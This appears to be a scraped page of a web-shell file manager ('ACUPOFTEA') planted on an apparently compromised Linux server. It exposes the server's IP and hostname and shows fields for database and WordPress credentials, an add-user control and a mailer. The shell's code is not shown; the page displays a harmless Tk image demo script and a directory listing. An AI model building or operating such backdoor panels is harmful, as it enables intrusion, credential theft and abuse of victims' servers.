System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
tk8.6
/
demos
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
image2.tcl
# image2.tcl -- # # This demonstration script creates a simple collection of widgets # that allow you to select and view images in a Tk label. if {![info exists widgetDemo]} { error "This script should be run from the \"widget\" demo." } package require Tk # loadDir -- # This procedure reloads the directory listbox from the directory # named in the demo's entry. # # Arguments: # w - Name of the toplevel window of the demo. proc loadDir w { global dirName $w.f.list delete 0 end foreach i [lsort [glob -type f -directory $dirName *]] { $w.f.list insert end [file tail $i] } } # selectAndLoadDir -- # This procedure pops up a dialog to ask for a directory to load into # the listobx and (if the user presses OK) reloads the directory # listbox from the directory named in the demo's entry. # # Arguments: # w - Name of the toplevel window of the demo. proc selectAndLoadDir w { global dirName set dir [tk_chooseDirectory -initialdir $dirName -parent $w -mustexist 1] if {$dir ne ""} { set dirName $dir loadDir $w } } # loadImage -- # Given the name of the toplevel window of the demo and the mouse # position, extracts the directory entry under the mouse and loads # that file into a photo image for display. # # Arguments: # w - Name of the toplevel window of the demo. # x, y- Mouse position within the listbox. proc loadImage {w x y} { global dirName set file [file join $dirName [$w.f.list get @$x,$y]] if {[catch { image2a configure -file $file }]} then { # Mark the file as not loadable $w.f.list itemconfigure @$x,$y -bg \#c00000 -selectbackground \#ff0000 } } set w .image2 catch {destroy $w} toplevel $w wm title $w "Image Demonstration #2" wm iconname $w "Image2" positionWindow $w label $w.msg -font $font -wraplength 4i -justify left -text "This demonstration allows you to view images using a Tk \"photo\" image. First type a directory name in the listbox, then type Return to load the directory into the listbox. Then double-click on a file name in the listbox to see that image." pack $w.msg -side top ## See Code / Dismiss buttons set btns [addSeeDismiss $w.buttons $w] pack $btns -side bottom -fill x frame $w.mid pack $w.mid -fill both -expand 1 labelframe $w.dir -text "Directory:" # Main widget program sets variable tk_demoDirectory set dirName [file join $tk_demoDirectory images] entry $w.dir.e -width 30 -textvariable dirName button $w.dir.b -pady 0 -padx 2m -text "Select Dir." \ -command "selectAndLoadDir $w" bind $w.dir.e <Return> "loadDir $w" pack $w.dir.e -side left -fill both -padx 2m -pady 2m -expand true pack $w.dir.b -side left -fill y -padx {0 2m} -pady 2m labelframe $w.f -text "File:" -padx 2m -pady 2m listbox $w.f.list -width 20 -height 10 -yscrollcommand "$w.f.scroll set" ttk::scrollbar $w.f.scroll -command "$w.f.list yview" pack $w.f.list $w.f.scroll -side left -fill y -expand 1 $w.f.list insert 0 earth.gif earthris.gif teapot.ppm bind $w.f.list <Double-1> "loadImage $w %x %y" catch {image delete image2a} image create photo image2a labelframe $w.image -text "Image:" label $w.image.image -image image2a pack $w.image.image -padx 2m -pady 2m grid $w.dir - -sticky ew -padx 1m -pady 1m -in $w.mid grid $w.f $w.image -sticky nw -padx 1m -pady 1m -in $w.mid grid columnconfigure $w.mid 1 -weight 1
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-03-13 04:40:23
..
DIR
-
drwxr-xr-x
2024-03-13 04:40:23
images
DIR
-
drwxr-xr-x
2024-03-13 04:40:23
README
text/plain
2.03 KB
-rw-r--r--
2019-10-16 05:25:12
anilabel.tcl
text/plain
6.51 KB
-rw-r--r--
2019-10-16 05:25:12
aniwave.tcl
text/plain
3.41 KB
-rw-r--r--
2019-10-16 05:25:12
arrow.tcl
text/plain
7.8 KB
-rw-r--r--
2019-10-16 05:25:12
bind.tcl
text/plain
2.88 KB
-rw-r--r--
2019-10-16 05:25:12
bitmap.tcl
text/plain
1.38 KB
-rw-r--r--
2019-10-16 05:25:12
browse
text/x-shellscript
1.72 KB
-rwxr-xr-x
2019-10-16 05:25:12
button.tcl
text/plain
1.47 KB
-rw-r--r--
2019-10-16 05:25:12
check.tcl
text/plain
2.22 KB
-rw-r--r--
2019-10-16 05:25:12
clrpick.tcl
text/plain
1.4 KB
-rw-r--r--
2019-10-16 05:25:12
colors.tcl
text/plain
4.88 KB
-rw-r--r--
2019-10-16 05:25:12
combo.tcl
text/plain
1.92 KB
-rw-r--r--
2019-10-16 05:25:12
cscroll.tcl
text/plain
3.31 KB
-rw-r--r--
2019-10-16 05:25:12
ctext.tcl
text/plain
5.88 KB
-rw-r--r--
2019-10-16 05:25:12
dialog1.tcl
text/plain
660 B
-rw-r--r--
2019-10-16 05:25:12
dialog2.tcl
text/plain
613 B
-rw-r--r--
2019-10-16 05:25:12
en.msg
text/plain
3.78 KB
-rw-r--r--
2019-10-16 05:25:12
entry1.tcl
text/plain
1.35 KB
-rw-r--r--
2019-10-16 05:25:12
entry2.tcl
text/plain
2.03 KB
-rw-r--r--
2019-10-16 05:25:12
entry3.tcl
text/plain
5.96 KB
-rw-r--r--
2019-10-16 05:25:12
filebox.tcl
text/plain
2.3 KB
-rw-r--r--
2019-10-16 05:25:12
floor.tcl
text/plain
77.25 KB
-rw-r--r--
2019-10-16 05:25:12
fontchoose.tcl
text/plain
1.71 KB
-rw-r--r--
2019-10-16 05:25:12
form.tcl
text/plain
1.02 KB
-rw-r--r--
2019-10-16 05:25:12
goldberg.tcl
text/plain
55.23 KB
-rw-r--r--
2019-10-16 05:25:12
hello
text/x-shellscript
512 B
-rwxr-xr-x
2019-10-16 05:25:12
hscale.tcl
text/plain
1.46 KB
-rw-r--r--
2019-10-16 05:25:12
icon.tcl
text/plain
2.01 KB
-rw-r--r--
2019-10-16 05:25:12
image1.tcl
text/plain
1002 B
-rw-r--r--
2019-10-16 05:25:12
image2.tcl
text/plain
3.27 KB
-rw-r--r--
2019-10-16 05:25:12
items.tcl
text/plain
9.9 KB
-rw-r--r--
2019-10-16 05:25:12
ixset
text/x-shellscript
7.88 KB
-rwxr-xr-x
2019-10-16 05:25:12
knightstour.tcl
text/plain
8.93 KB
-rw-r--r--
2019-10-16 05:25:12
label.tcl
text/plain
1.35 KB
-rw-r--r--
2019-10-16 05:25:12
labelframe.tcl
text/plain
1.8 KB
-rw-r--r--
2019-10-16 05:25:12
license.terms
text/plain
2.21 KB
-rw-r--r--
2019-10-16 05:25:12
mclist.tcl
text/plain
4.25 KB
-rw-r--r--
2019-10-16 05:25:12
menu.tcl
text/plain
6.62 KB
-rw-r--r--
2019-10-16 05:25:12
menubu.tcl
text/plain
4.37 KB
-rw-r--r--
2019-10-16 05:25:12
msgbox.tcl
text/plain
1.95 KB
-rw-r--r--
2019-10-16 05:25:12
nl.msg
text/plain
6.59 KB
-rw-r--r--
2019-10-16 05:25:12
paned1.tcl
text/plain
1.08 KB
-rw-r--r--
2019-10-16 05:25:12
paned2.tcl
text/plain
2.19 KB
-rw-r--r--
2019-10-16 05:25:12
pendulum.tcl
text/plain
7.42 KB
-rw-r--r--
2019-10-16 05:25:12
plot.tcl
text/plain
2.69 KB
-rw-r--r--
2019-10-16 05:25:12
puzzle.tcl
text/plain
2.54 KB
-rw-r--r--
2019-10-16 05:25:12
radio.tcl
text/plain
2.69 KB
-rw-r--r--
2019-10-16 05:25:12
rmt
text/x-shellscript
5.19 KB
-rwxr-xr-x
2019-10-16 05:25:12
rolodex
text/x-shellscript
8.11 KB
-rwxr-xr-x
2019-10-16 05:25:12
ruler.tcl
text/plain
5.09 KB
-rw-r--r--
2019-10-16 05:25:12
sayings.tcl
text/plain
2.22 KB
-rw-r--r--
2019-10-16 05:25:12
search.tcl
text/plain
4.3 KB
-rw-r--r--
2019-10-16 05:25:12
spin.tcl
text/plain
1.78 KB
-rw-r--r--
2019-10-16 05:25:12
states.tcl
text/plain
2 KB
-rw-r--r--
2019-10-16 05:25:12
style.tcl
text/plain
6.78 KB
-rw-r--r--
2019-10-16 05:25:12
tclIndex
text/plain
4.25 KB
-rw-r--r--
2019-10-16 05:25:12
tcolor
text/x-shellscript
10.99 KB
-rwxr-xr-x
2019-10-16 05:25:12
text.tcl
text/plain
4.17 KB
-rw-r--r--
2019-10-16 05:25:12
textpeer.tcl
text/plain
2.14 KB
-rw-r--r--
2019-10-16 05:25:12
timer
text/x-shellscript
1.07 KB
-rwxr-xr-x
2019-10-16 05:25:12
toolbar.tcl
text/plain
3.19 KB
-rw-r--r--
2019-10-16 05:25:12
tree.tcl
text/plain
3.09 KB
-rw-r--r--
2019-10-16 05:25:12
ttkbut.tcl
text/plain
3.33 KB
-rw-r--r--
2019-10-16 05:25:12
ttkmenu.tcl
text/plain
2.33 KB
-rw-r--r--
2019-10-16 05:25:12
ttknote.tcl
text/plain
2.26 KB
-rw-r--r--
2019-10-16 05:25:12
ttkpane.tcl
text/plain
4.07 KB
-rw-r--r--
2019-10-16 05:25:12
ttkprogress.tcl
text/plain
1.5 KB
-rw-r--r--
2019-10-16 05:25:12
ttkscale.tcl
text/plain
1.39 KB
-rw-r--r--
2019-10-16 05:25:12
twind.tcl
text/plain
10.79 KB
-rw-r--r--
2019-10-16 05:25:12
unicodeout.tcl
text/plain
4.3 KB
-rw-r--r--
2019-10-16 05:25:12
vscale.tcl
text/plain
1.44 KB
-rw-r--r--
2019-10-16 05:25:12
widget
text/x-shellscript
22.72 KB
-rwxr-xr-x
2019-10-16 05:25:12
~ ACUPOFTEA - mail.ontime-ae.com